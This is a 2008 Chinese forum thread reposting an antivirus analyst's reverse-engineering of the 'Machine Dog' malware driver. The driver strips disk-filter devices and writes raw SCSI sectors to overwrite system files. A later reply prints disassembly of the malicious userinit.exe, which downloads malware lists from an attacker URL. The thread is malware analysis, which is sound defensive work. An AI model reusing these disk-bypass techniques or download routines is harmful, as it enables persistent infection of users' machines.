查看完整版本: 机器狗0625技术剖析(驱动读写磁盘扇区)——by水中雁

铁军 2008-6-26 20:45

机器狗0625技术剖析(驱动读写磁盘扇区)——by水中雁

原文:[url=http://hi.baidu.com/wildgoose/blog/item/2385e71191d0bbc3a7ef3ff9.html]http://hi.baidu.com/wildgoose/bl ... d0bbc3a7ef3ff9.html[/url]
作者:毒霸引擎组水中雁

由于对磁盘结构不是很熟,仅仅从逆向分析的角度,通过对这个驱动的分析过程,学习了向SCSI端口向扇区写数据的方法。如有错误或纰漏之处,请大家指出。

摘要
这是一个6月23号捕获的机器狗变种。跟之前不同的地方,主要是将以前ring3下写磁盘替换文件的操作使用驱动实现了,本文的主要部分也是对该部分的解析。可以看出,机器狗的作者对内核驱动以及磁盘结构都很熟悉。

三、驱动分析
1、基本信息
文件名:%windir%\system32\drivers\obj2.sys
DeviceName:\\Device\\DogBaby
SymbolicLinkName:\\DosDevices\\DogBaby

2、摘除ntfs的AttachedDevice

3、恢复disk的Hook
1)、摘除disk的AttachedDevice
2)、根据_DRIVER_OBJECT.DriverSection获得_LDR_DATA_TABLE_ENTRY的链表,枚举该链表查找名为CLASSPNP.SYS的模块,找到则获取该模块的基址Base和EntryPoint,如果EntryPoint -Base等于0AE8Fh(入口的RVA),则取g_pClassInternalIoControl = Base +4FC3h。然后注册驱动disk的派遣例程为_DRIVER_OBJECT.IrpInternalDeviceControlDispatch =pClassInternalIoControl。

4、摘除FtDisk的AttachedDevice

5、摘除Atapi的AttachedDevice

6、恢复Atapi的Hook
1)、读取atapi.sys文件,并定位pe头、及块表。
2)、定位到init块,从init块中使用模糊匹配特征C7 ?? 30 ?? ?? ?? ?? C7 ?? 34。
3)、找到的地址为24968h,记为Atapi_24968h。
4)、取Atapi_24968h + 11h的位置,并换算成RVA,得到fnRVA_IdePortDispatch。
5)、取Atapi_24968h + 18h的位置,并换算成RVA,得到fnRVA_IdePortDispatchDeviceControl。
6)、如果上面的方法获取失败,则强制转换:
fnRVA_IdePortDispatch = 67B4h,
fnRVA_IdePortDispatchDeviceControl = 0A592h。
7)、获取这两个函数的SVA
fnIdePortDispatch = fnRVA_IdePortDispatch + DriverStart,
fnIdePortDispatchDeviceControl = fnRVA_IdePortDispatchDeviceControl + DriverStart。
8)、注册Atapi的派遣例程
_DRIVER_OBJECT.IrpDeviceControlDispatch =
fnIdePortDispatchDeviceControl,
_DRIVER_OBJECT.IrpInternalDeviceControlDispatch = fnIdePortDispatch。

7、定位被覆盖文件的逻辑簇号
1)、打开文件conime.exe,失败则打开userinit.bat;并获取FileObject。
2)、根据FileObject获取_FILE_OBJECT.Vpb,再获取_VPB.DeviceObject。
3)、创建一个IRP。设MainFunction为IRP_MJ_FILE_SYSTEM_CONTROL。
4)、设定_IO_STACK_LOCATION.FsControlCode =
FSCTL_GET_RETRIEVAL_POINTERS
//其它IRP初始化略过,详细请看idb文件。
5)、调用自己实现的IOCallDriver,获取指定文件的RETRIEVAL_POINTERS_BUFFER信息。
结构查阅msdn如下:
typedef struct RETRIEVAL_POINTERS_BUFFER {
   DWORD ExtentCount;
   LARGE_INTEGER StartingVcn;
   struct {
     LARGE_INTEGER NextVcn;
     LARGE_INTEGER Lcn;
   } Extents[1];
} RETRIEVAL_POINTERS_BUFFER,
*PRETRIEVAL_POINTERS_BUFFER;
要注意的是按8个字节对齐的,所以DWORD ExtentCount后、LARGE_INTEGER StartingVcn前有4个字节的空间。
ExtentCount记录了该文件分成了n块存储。
StartingVcn记录了起始虚拟簇号。
Extents[i].NextVcn记录了下一个块的起始虚拟簇号,所以Extents[i].NextVcn - Extents[i - 1].NextVcn表示i块所占的簇数。
Extents[i].Lcn记录了第i + 1块的起始逻辑簇号。注意i是从0开始的。
本机器狗使用了不严格的计算方法,仅用到了该结构中的Extents[0].Lcn,即文件的起始逻辑簇号,并没有考虑分多块存储的情况。因此,理论上是存在破坏系统文件的风险的。这也是病毒不负责任的地方。

8、MyRead_WriteSector
从这个函数名可以看出这是一个读写扇区的例程。前缀My表示该函数是由我标识的,用来跟ida自动识别的函数进行区别,以便查找。这个函数很重要,整个驱动中会调用三次,所以先解析。
MyRead_WriteSector(DeviceObj, IRP_ID, pBuffer, dwSectorLowPos, SecNum);
DeviceObj:操作设备对象,这里为Disk。
IRP_ID:3表示读取,4表示写入。
pBuffer:写入设备的数据地址,或读取数据的内存辞职。
dwSectorLowPos:读取或写入的扇区号。其实扇区号为LARGE_INTEGER类型的大数,但这里仅使用了低32位,没有使用高32位。
SecNum:读取或写入的扇区数。
下面为函数的实现介绍。
1)、通过使用MyIoCallDriver(病毒自己实现的IoCallDriver)来向Disk设备发送服务号为IRP_MJ_INTERNAL_DEVICE_CONTRO,通过向SCSI端口读写数据实现的。
2)、填充IRP
mov      [edi+_IRP.MdlAddress], eax; eax为pBuffer对应的Mdl
......     ;省略部分代码
mov      [ebp+UserIosb], ebx   ; ebx == 0
lea      eax, [ebp+UserIosb]
mov      [edi+_IRP.UserIosb], eax
lea      eax, [ebp+Event]
mov      [edi+_IRP.UserEvent], eax
mov      [edi+1Ch], ebx   ; _IRP.Information = 0
mov      [edi+18h], ebx   ; _IRP._IO_STATUS_BLOCK = 0
or       [edi+_IRP.Flags], 5 ; IRP_SYNCHRONOUS_API | IRP_NOCACHE
mov      [edi+0Ch], ebx   ; _IRP.IrpCount = 0
mov      [edi+24h], bl    ; _IRP.Cancel = 0
mov      [edi+38h], ebx   ; _IRP.CancelRoutine = 0
mov      [edi+20h], bl    ; _IRP.RequestorMode = 0
call     KeGetCurrentThread
mov      [edi+50h], eax   ; _IRP.Thread
mov      eax, [edi+60h]   ; _IRP.CurrentStackLocation
sub      eax, 24h         ; IoGetNextStackLocation
mov      byte ptr [eax], IRP_MJ_INTERNAL_DEVICE_CONTROL
mov      [eax+4], esi     ; _IO_STACK_LOCATION.scsi._SCSI_REQUEST_BLOCK
mov      ecx, [ebp+DiskDeviceObj]
mov      [eax+14h], ecx   ; _IO_STACK_LOCATION.DeviceObject = DiskDeviceObj
mov      eax, [edi+60h]
sub      eax, 24h
mov      dword ptr [eax+1Ch], offset fnCompletionRoutine ; _IO_STACK_LOCATION.CompletionRoutine
mov      [eax+20h], esi   ; _IO_STACK_LOCATION.Context
mov      [eax+_IO_STACK_LOCATION.Control], 0E0h
从填充的IRP可以看到一个重要的结构_SCSI_REQUEST_BLOCK。
3)、_SCSI_REQUEST_BLOCK
关于结构的定义可以找相关资料。用来存放向SCSI端口写数据的一些信息。这里看一下对这个srb的填充。
mov      word ptr [esi], 40h ; _SCSI_REQUEST_BLOCK.Length = 40h
mov      [esi+2], bl      ; _SCSI_REQUEST_BLOCK.Function = 0
mov      eax, [ebp+pBuffer]   ;pBuffer指向传入的参数,即存放数据的地址。
mov      [esi+18h], eax   ; _SCSI_REQUEST_BLOCK.DataBuffer = pBUffer
movzx    eax, [ebp+SecNum]
shl      eax, 9           ; eax = SecNum * 512
mov      [esi+10h], eax   ; _SCSI_REQUEST_BLOCK.DataTransferLength = SecNum * 512 //即写入数据的大小
mov      byte ptr [esi+9], 20h ; _SCSI_REQUEST_BLOCK.QueueAction = 20h
mov      [esi+3], bl      ; _SCSI_REQUEST_BLOCK.SrbStatus = 0
mov      [esi+4], bl      ; _SCSI_REQUEST_BLOCK.ScsiStatus = 0
mov      [esi+20h], ebx   ; _SCSI_REQUEST_BLOCK.NextSrb = NULL
mov      [esi+1Ch], ecx   ; _SCSI_REQUEST_BLOCK.SenseInfoBuffer = pSenseInfoBuffer
mov      byte ptr [esi+0Bh], 12h ; _SCSI_REQUEST_BLOCK.SenseInfoBufferLength = 12h
xor      eax, eax
cmp      [ebp+IRP_ID], IRP_MJ_READ ; if(IRP_ID != IRP_MJ_READ)
setnz    al               ; {al = 1;}
dec      eax              ; eax --;
and      eax, 0FFFFFFC0h ; eax &= 0x0ffffffc0;
add      eax, 80h         ; eax += 80h;
; //if IRP_ID == IRP_MJ_READ eax == 40h SRB_FLAGS_DATA_IN
; //else eax == 80h SRB_FLAGS_DATA_OUT
mov      [esi+0Ch], eax   ; _SCSI_REQUEST_BLOCK.SrbFlags = 80h
cmp      [ebp+IRP_ID], IRP_MJ_READ
jnz      short loc_11997
or       eax, 200h SRB_FLAGS_ADAPTER_CACHE_ENABLE
mov      [esi+0Ch], eax   ; _SCSI_REQUEST_BLOCK.SrbFlags = 240h
loc_11997:
or       dword ptr [esi+0Ch], 20h ; _SCSI_REQUEST_BLOCK.SrbFlags = A0h(If Read 260h)
; 20h == SRB_FLAGS_DISABLE_AUTOSENSE
mov      eax, [esi+10h]   ; eax = _SCSI_REQUEST_BLOCK.DataTransferLength
shr      eax, 0Ah
inc      eax
mov      [esi+14h], eax   ; _SCSI_REQUEST_BLOCK.TimeOutValue = _SCSI_REQUEST_BLOCK.DataTransferLength >> 0Ah + 1
mov      eax, [ebp+dwSectorLowPos]
mov      [esi+2Ch], eax   ; _SCSI_REQUEST_BLOCK.QueueSortKey = dwSectorLowPos
mov      byte ptr [esi+0Ah], 0Ah ; _SCSI_REQUEST_BLOCK.CdbLength = 0Ah
填充这个结构读数据和写数据的SrbFlags分别设为SRB_FLAGS_DATA_IN | SRB_FLAGS_ADAPTER_CACHE_ENABLE |
SRB_FLAGS_DISABLE_AUTOSENSE和SRB_FLAGS_DATA_OUT | SRB_FLAGS_DISABLE_AUTOSENSE。
4)、_CDB
在_SCSI_REQUEST_BLOCK结构最后是UCHAR Cdb[16];但是Cdb不一定是16个字节,长度由_SCSI_REQUEST_BLOCK.CdbLength决定,从上面可以看出这里是0Ah个字节。该结构是一个联合体,这里使用的是_CDB10结构。
mov      byte ptr [esi+0Ah], 0Ah ; _SCSI_REQUEST_BLOCK.CdbLength = 0Ah
mov      cl, [ebp+IRP_ID]
add      cl, 11h
shl      cl, 1
mov      [esi+30h], cl    ; _CDB[0] = 28h
mov      cl, [esi+31h]
and      cl, 1Fh
or       cl, 80h
mov      [esi+31h], cl    ; _CDB[1] = 80h
mov      ecx, eax
shr      ecx, 18h
mov      [esi+32h], cl    ; if Read _CDB[2] = 0
mov      ecx, eax
shr      ecx, 10h
mov      [esi+33h], cl    ; if Read _CDB[3] = 0
mov      ecx, eax
shr      ecx, 8
mov      [esi+34h], cl    ; if Read _CDB[4] = 0
mov      [esi+35h], al    ; if Read _CDB[5] = 0
mov      ax, [ebp+SecNum]
mov      [esi+37h], ah    ; if Read _CDB[7] = 0
cmp      ax, bx
setnz    al
mov      [esi+38h], al    ; if Read _CDB[8] = 1
从scsi.h中找到如下:
// 10-byte commands
#define SCSIOP_READ_FORMATTED_CAPACITY 0x23
#define SCSIOP_READ_CAPACITY        0x25
#define SCSIOP_READ                 0x28
#define SCSIOP_WRITE                0x2A
可以看出,_CDB[0]为OperationCode,28h表示SCSIOP_READ,2Ah表示SCSIOP_WRITE。_CDB[1]按位描述了一些属性,可以参考scsi.h,这里将这个字节设为80h。_CDB[2]到_CDB[5]描述的是扇区位置,依次为dwSectorLowPos从高字节到低字节的值。_CDB[7]和_CDB[8]描述了要写书的扇区数。如果小于0,则设为1。
由于本人的语言组织能力较弱,写得比较乱,详细的请看idb文件。这个函数将会完成向指定扇区读写数据。

9、读取主分区表
调用My_Read_WriteSector(DiskDeviceObj, 3, pBuffer, 0, 1)来获取磁盘0号扇区的数据,大小为1个扇区的大小,即512字节。
0号扇区保存了主分区表,结构为:
typedef struct _MBR_SECTOR
{
    UCHAR              BootCode[446];
    PARTITION_ENTRY    Partition[4];
    USHORT            Signature;
} MBR_SECTOR, *PMBR_SECTOR;
这里主要用到了PARTITION_ENTRY结构:
typedef struct _PARTITION_ENTRY
{
    UCHAR active;                  // 能否启动标志
    UCHAR StartHead;                // 该分区起始磁头号
    UCHAR StartSector;              // 起始柱面号高2位:6位起始扇区号
    UCHAR StartCylinder;            // 起始柱面号低8位
    UCHAR PartitionType;            // 分区类型
    UCHAR EndHead;                  // 该分区终止磁头号
    UCHAR EndSector;              // 终止柱面号高2位:6位终止扇区号
    UCHAR EndCylinder;              // 终止柱面号低8位
    ULONG StartLBA;                // 起始扇区号
    ULONG TotalSector;              // 分区尺寸(总扇区数)
} PARTITION_ENTRY, *PPARTITION_ENTRY;
其中active为80h,表示该分区能够启动系统。
PartitionType表示分区类型,如NTFS、FAT32等等,如果为FF表示该分区为扩展分区,扩展分区会再有分区表,划分为逻辑分区。如果你有兴趣,可以查阅其它资料。
本处依次判断Partition[0]到Partition[3]是否为启动分区,如果是,则计算StartLBA,这里比较有意思的是StartLBA[n] = StartLBA[0] + ... +StartLBA[n],这个我是比较奇怪的,从《数据恢复技术》一书中,我的理解是,如果为基本分区,StartLBA直接是分区的起始逻辑扇区,如果是扩展分区,则需要加上的保留扇区数。这里是让我感到不解的,如果自己分析,要自己测试多个系统、多种分区格式的分区表,遂放弃。希望知道的兄弟能够指点迷津,抑或是机器狗的一个bug。但对于大多数系统,Partition[0]即是启动分区,Partition[0].StartLBA也就是该分区的起始扇区位置。
判断Partition[0].PartitionType如果不是PARTITION_TYPE_FAT32、PARTITION_TYPE_FAT32_LBA或PARTITION_TYPE_NTFS,则返回失败。

10、读取启动分区的第一个扇区
定位到启动分区后,调用My_Read_WriteSector(DiskDeviceObj, 3, pBuffer, StartLBA, 1)来读取启动分区的第一个扇区的内容,即分区信息。结构如下:
typedef struct _BBR_SECTOR
{
    USHORT JmpCode;                // 2字节跳转指令,跳转到引导代码
    UCHAR    NopCode;                // 1字节nop指令,填充用,保证跳转指令长3个字节
    UCHAR    OEMName[8];              // 8字节的OEMName
    // 下面开始为: BPB( BIOS Parameter Block )
    USHORT BytesPerSector;          // 每个扇区的字节数 (512 1024 2048 4096)
    UCHAR    SectorsPerCluster;      // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)
    USHORT ReservedSectors;        // 从卷的第一个扇区开始的保留扇区数目,该值不能为0,对于FAT12/FAT16,该值通常为1,对于FAT32,典型值为32
    UCHAR    NumberOfFATs;            // 卷上FAT数据结构的数目,该值通常应为2,[NTFS不使用NumberOfFATs字段,必须为0]
    USHORT RootEntries;            // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32,该值必须为0;[NTFS不使用]
    USHORT NumberOfSectors16;      // 该卷上的扇区总数,该字段可以为0,如果该字段为0,则NumberOfSectors32不能为0;对于FAT32,该字段必须为0 [FAT32/NTFS不使用该字段]
    UCHAR    MediaDescriptor;        // 介质类型
    USHORT SectorsPerFAT16;        // 该字段标识一个FAT结构占有的扇区数(FAT12/FAT16),对于FAT32卷,该字段必须为0;[FAT32/NTFS不使用该字段]
    USHORT SectorsPerTrack;        // 用于INT 0x13中断的每个磁道的扇区数
    USHORT HeadsPerCylinder;        // 用于INT 0x13中断的每个柱面的磁头数
    ULONG    HiddenSectors;          // 包含该FAT卷的分区之前的隐藏扇区数
    ULONG    NumberOfSectors32;      // 该字段包含该卷上的所有扇区数目,对于FAT32,该字段不为0;FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段; [NTFS不使用该字段]
    // 下面开始为: EBPB ( Extended BIOS Parameter Block )
    ULONG    SectorsPerFAT32;        // 对于FAT32,该字段包含一个FAT的大小,而SectorsPerFAT16字段必须为0;
} BBR_SECTOR, *PBBR_SECTOR;

取得分区信息之后,获取SectorsPerCluster和ReservedSectors。
判断Partition[0].PartitionType是否是PARTITION_TYPE_FAT32或PARTITION_TYPE_FAT32_LBA,如果是,则获取SectorsPerFAT32和NumberOfFATs。

11、计算文件对应的扇区位置
Lcn_HightPart 和Lcn_LowPart由第7步获得。
1)、如果是FAT32分区,dwSectorLowPos = StartLBA + ReservedSectors + SectorsPerFAT32 * NumberOfFATs + SectorsPerCluster * Lcn_LowPart;
FileSectorHighPos = Lcn_HightPart * SectorsPerCluster;
2)、如果是NTFS分区,dwSectorLowPos = StartLBA + ReservedSectors + SectorsPerCluster * Lcn_LowPart;
FileSectorHighPos = Lcn_HightPart * SectorsPerCluster;
FileSectorHighPos在将数据写入扇区时,并没有使用。

12、写入病毒
是由DeviceIoControl的800C004h号控制命令触发的,写入文件的数据由DeviceIoControl传入。调用My_Read_WriteSector(DiskDeviceObj, 4, pBuffer, dwSectorLowPos,dwFileSize / 512 + 1)来实现向扇区的写入。
另外DeviceIoControl的800C008h号控制命令会摘掉ntfs的AttachedDevice。

参考资料
1、《数据恢复技术》
2、[url=http://dev.csdn.net/article/78/78564.shtm]http://dev.csdn.net/article/78/78564.shtm[/url]
3、[url=http://hi.baidu.com/ptf_phoenix/blog/item/c5db4f1f319f6ecca7866994.html]http://hi.baidu.com/ptf_phoenix/ ... 9f6ecca7866994.html[/url]
4、winddk
5、msdn
还有一些网上的其它资料,不一一列出。[/i][/i][/i]

daishaodong 2008-6-27 16:14

拜读。。
感觉涉及了许多磁盘的底层的一些知识。。。
自己水平有限。。。
还需提高。。。

病毒终结杀手 2008-6-27 22:18

支持

lssy158 2008-6-27 22:43

无异于天书。惭愧!

vistalong 2008-6-29 12:31

分析日志的时候发现这个病毒    反汇编难度比较的大

6084748 2008-7-3 16:53

{sun06}

q335837381 2008-7-4 05:57

学习

安广辉 2008-7-4 21:03

虽然 看不明白 但看得出是技术贴 恩 好贴 !

289763273 2008-7-5 17:25

天书啊{yct09}

zs632666 2008-7-6 12:38

值得信赖的金山系列软件~`我选择我喜欢~

buobuopi 2008-7-7 21:09

{tsj13} kan bu dong

buobuopi 2008-7-7 21:10

{tsj01} 高手的专利啊!

KSDD0381855 2008-7-8 12:00

天书!

3333333333 2008-7-8 19:40

{tsj14}

3333333333 2008-7-8 19:41

{tsj24}

3333333333 2008-7-8 19:41

{tsj24}

3333333333 2008-7-8 19:44

{yxh131}

Finaldxl 2008-7-8 23:29

a……头大了啊……

franks 2008-7-9 22:35

这些汇编指令是谁编译出来的!偶样本都没找到

mmmdddmm 2008-7-10 02:29

机器代码要用int 13h

lz,可能是
MOV CX,0001
MOV BX,0012
MOV DX,
MOV DL,0080
MOV AX,4466(XXXX:4466)
INT 13H

zxz0209 2008-8-14 20:42

机器狗原理:
建立磁盘底层驱动。
1.校验IDT的NPXSegment Overrun(09)和Page Fault(OE)的矢量地址,如果存在,则把高16位设置为0,这个过程和还原软件的原理是一样的,就是对OE的HOOK检验。
2.给自己找个位置,查找驱动资源中的1000/1000,然后COPY到ALLOVER缓冲区中。
3.建立物理磁盘PhysicalHardDISK0的\Device----DosDevices的底层借口,针对“IRP_MJ_CREATE”“IRP_MJ_CLOSE”“IRP_MJ_DEVICE_CONTROL”响应。“IRP_MJ_CREATE”断开\Device\Harddisk0\DR0-1上的附属部件。从而使磁盘OS层提供的应用层文件系统鉴听校验失效。
然后通过“I_M_C ”中恢复DR0-1上的附加。并在I_M_D_C中对0x0004f8E——0xF0003C0F作出响应,把ALLOVER缓冲区中找到的数据解密并返回应用层。通过KEY-s查表产生密钥。0x0004f8E——0xF0003C0F字段会将用户态代码作为源基,对其运算后得到字串KEY,用来对源驱动解密后,反还给用户层。
在这个过程中,有个大家比较熟悉的截面,就是系统由于磁盘底层驱动校验不成功而出现的蓝屏截面,最常见的是初始值0x0004f8E,比如,早期的SATAⅠ在保护卡状态下出现物理坏道(0%—1%),就是这个蓝屏代码。很多由于用户态的软件安装不当,引起的蓝屏也出现在这一区段中。在解除DR0-1上的附属部件时,出现逻辑性错误就导致大家常见的中机器狗后的蓝屏。多见于多处理器平台。一般的PC是不会出现这个错误的,也就是说,大多数中招后都能正常使用,就是木马多多,呵呵。
继续正题,以上过程反映到IE上是这样的:1.释放底层驱动程序(比如变种前的PCIHDD.SYS)或者高位数用户态临时驱动(变种后,可以有可执行程序引导,如“Usrinit.exe”)
2.定位WINDOWS系统中的userinit.exe。(通过MBR和第一引导扇区参数来定位文件磁盘矢量偏移。)
3.并校验RF文件与地位后读取的数据位置的正确性。
4.将获取的代码参数返回给底层驱动,控制0x0004f8E——0xF0003C0F段为,最后将返回值(TQ)直接写入userinit.exe数据所在的第一蔟。这里要大家特别注意以下,通过用户态的shell调用,作者只需一点变动,就可以随即抓取用户态引导文件,所以,目前的改名设权限都是没用的。
甚至,他可以把这个过程省略,象净网先锋那样,把Shell进程写入动态连接库。那么,还原就没用了。还会带来网络负载问题,可能是作者比较仁慈吧。
好了,分析了以上的过程,解决的办法就出来了,就是要通过对操作系统的内核编译,将他所定位的目的地址占据,这样,除非是格式化,否则,任何操作的不会在底层夺取该位置。(不要问权限问题,在底层是没有这个说法的,先入为主。)
这篇是讲得比较专业点儿的,基本上把机器狗如何在底层获取控制权限过程都讲解了。
夹并启动运行,以及如何调用系统级动态。




机器狗病毒入侵源码
0040045A > $ 55             push ebp                         ; (初始 cpu 选择)
0040045B . 8BEC          mov ebp,esp
0040045D . 81C4 E8FEFFFF    add esp,-118
00400463 . 68 9C0A4000       push userinit.00400A9C                ; /user32.dll
00400468 . E8 55020000       call <jmp.&kernel32.LoadLibraryA>           ; \LoadLibraryA
0040046D . 0BC0          or eax,eax
0040046F . 74 11          je short userinit.00400482
00400471 . 68 A70A4000       push userinit.00400AA7                ; /loadremotefonts
00400476 . 50             push eax                         ; |hModule
00400477 . E8 34020000       call <jmp.&kernel32.GetProcAddress>       ; \GetProcAddress
0040047C . 0BC0          or eax,eax
0040047E . 74 02          je short userinit.00400482
00400480 . FFD0          call eax                         ; USER32.LoadRemoteFonts
00400482 > 8D45 FC           lea eax,dword ptr ss:[ebp-4]
00400485 . 50             push eax                         ; /pHandle
00400486 . 68 19000200       push 20019                         ; |Access = KEY_READ
0040048B . 6A 00          push 0                             ; |Reserved = 0
0040048D . 68 B70A4000       push userinit.00400AB7                ; |software\microsoft\windows nt\currentversion\winlogon
00400492 . 68 02000080       push 80000002                      ; |hKey = HKEY_LOCAL_MACHINE
00400497 . E8 5C020000       call <jmp.&advapi32.RegOpenKeyExA>           ; \RegOpenKeyExA
0040049C . 0BC0          or eax,eax                         //打开注册表检测winlogon键值
0040049E . 75 48          jnz short userinit.004004E8
004004A0 . C745 F8 04010000     mov dword ptr ss:[ebp-8],104
004004A7 . 68 04010000       push 104                         ; /Length = 104 (260.)
004004AC . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
004004B2 . 50             push eax                         ; |Destination
004004B3 . E8 16020000       call <jmp.&kernel32.RtlZeroMemory>           ; \RtlZeroMemory
004004B8 . 8D45 F8           lea eax,dword ptr ss:[ebp-8]
004004BB . 50             push eax                         ; /pBufSize
004004BC . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
004004C2 . 50             push eax                         ; |Buffer
004004C3 . 6A 00          push 0                             ; |pValueType = NULL
004004C5 . 6A 00          push 0                             ; |Reserved = NULL
004004C7 . 68 960A4000       push userinit.00400A96                ; |shell
004004CC . FF75 FC           push dword ptr ss:[ebp-4]                 ; |hKey
004004CF . E8 2A020000       call <jmp.&advapi32.RegQueryValueExA>       ; \RegQueryValueExA
004004D4 . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]
004004DA . 50             push eax                         ; /Arg1
004004DB . E8 50FDFFFF       call userinit.00400230                ; \userinit.00400230 CreateProcessA
004004E0 . FF75 FC           push dword ptr ss:[ebp-4]                 ; /hKey
004004E3 . E8 0A020000       call <jmp.&advapi32.RegCloseKey>           ; \RegCloseKey
004004E8 > 68 E8030000       push 3E8                         ; /Timeout = 1000. ms
004004ED . E8 E8010000       call <jmp.&kernel32.Sleep>             ; \Sleep
004004F2 . 6A 00          push 0
004004F4 . 8D45 F8           lea eax,dword ptr ss:[ebp-8]
004004F7 . 50             push eax
004004F8 . E8 13020000       call <jmp.&wininet.InternetGetConnectedState>    ;看网络是否连接
004004FD . 0BC0          or eax,eax
004004FF . 75 02          jnz short userinit.00400503
00400501 .^ EB E5          jmp short userinit.004004E8
00400503 > 68 04010000       push 104                         ; /Length = 104 (260.)
00400508 . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
0040050E . 50             push eax                         ; |Destination
0040050F . E8 BA010000       call <jmp.&kernel32.RtlZeroMemory>           ; \RtlZeroMemory
00400514 . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]
0040051A . 50             push eax                         ; /TempName
0040051B . 6A 00          push 0                             ; |Unique = 0
0040051D . 6A 00          push 0                             ; |Prefix = NULL
0040051F . 68 940A4000       push userinit.00400A94                ; |.
00400524 . E8 93010000       call <jmp.&kernel32.GetTempFileNameA>       ; \GetTempFileNameA           ;生成下载病毒列表得文件名
00400529 > 68 E8030000       push 3E8                         ; /Timeout = 1000. ms
0040052E . E8 A7010000       call <jmp.&kernel32.Sleep>             ; \Sleep
00400533 . 68 88130000       push 1388                         ; /Arg3 = 00001388
00400538 . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
0040053E . 50             push eax                         ; |Arg2
0040053F . 68 ED0A4000       push userinit.00400AED                ; |[url]http://2.joppnqq.com/test.cer[/url] ;       ;病毒列表
00400544 . E8 2CFDFFFF       call userinit.00400275                ; \userinit.00400275 ;里面事下载并读取病毒列表下载病毒~
00400549 . 0BC0          or eax,eax
0040054B . 0F84 17010000    je userinit.00400668
00400551 . C705 900A4000 00000000 mov dword ptr ds:[400A90],0
0040055B . 6A 00          push 0                             ; /hTemplateFile = NULL
0040055D . 6A 00          push 0                             ; |Attributes = 0
0040055F . 6A 03          push 3                             ; |Mode = OPEN_EXISTING
00400561 . 6A 00          push 0                             ; |pSecurity = NULL
00400563 . 6A 00          push 0                             ; |ShareMode = 0
00400565 . 68 00000080       push 80000000                      ; |Access = GENERIC_READ
0040056A . 8D85 F4FEFFFF    lea eax,dword ptr ss:[ebp-10C]          ; |
00400570 . 50             push eax                         ; |FileName
00400571 . E8 16010000       call <jmp.&kernel32.CreateFileA>           ; \CreateFileA
00400576 . 83F8 FF           cmp eax,-1
00400579 . 0F84 E2000000    je userinit.00400661
0040057F . 8985 F0FEFFFF    mov dword ptr ss:[ebp-110],eax
00400585 . 6A 00          push 0                             ; /pFileSizeHigh = NULL
00400587 . FFB5 F0FEFFFF    push dword ptr ss:[ebp-110]             ; |hFile
0040058D . E8 18010000       call <jmp.&kernel32.GetFileSize>           ; \GetFileSize
00400592 . 83F8 0F           cmp eax,0F
00400595 . 73 0D          jnb short userinit.004005A4
00400597 . FFB5 F0FEFFFF    push dword ptr ss:[ebp-110]             ; /hObject
0040059D . E8 E4000000       call <jmp.&kernel32.CloseHandle>           ; \CloseHandle
......................................................................................................................
00400676 . 6A 64          push 64                             ; /Timeout = 100. ms
00400678 . E8 5D000000       call <jmp.&kernel32.Sleep>             ; \Sleep
0040067D .^ EB EE          jmp short userinit.0040066D
0040067F > 6A 00          push 0                             ; /ExitCode = 0
00400681 . E8 1E000000       call <jmp.&kernel32.ExitProcess>           ; \ExitProcess
很精典呀,,里面涉及到了在汇编下如何操作注册表,从指定网址下载文件到临时文件第三节:机器狗病毒入侵原理
页: [1]
查看完整版本: 机器狗0625技术剖析(驱动读写磁盘扇区)——by水中雁